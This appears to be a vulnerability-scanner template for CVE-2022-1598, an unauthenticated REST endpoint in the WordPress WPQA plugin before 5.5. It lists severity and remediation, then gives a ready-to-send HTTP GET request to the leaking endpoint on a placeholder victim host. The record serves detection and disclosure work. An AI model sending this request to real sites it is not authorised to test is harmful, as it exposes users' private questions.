| Title | WordPress WPQA <5.5 - Improper Access Control |
|---|---|
| Author | veshraj |
| Severity | Medium |
| Impact | This vulnerability can result in unauthorized access to sensitive information, potentially leading to data breaches or unauthorized actions. |
| Remediation | Update the WPQA plugin to version 5.5 or later to fix the improper access control issue. |
| CVSS Score | 5.3 |
| EPSS Score | 0.25754 |
| CVE ID | CVE-2022-1598 |
| CWE ID | CWE-306 |
| Tags | cve cve2022 wordpress wp-plugin wpqa idor wpscan 2code vuln |
WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site.
GET /wp-json/wp/v2/asked-question HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.2 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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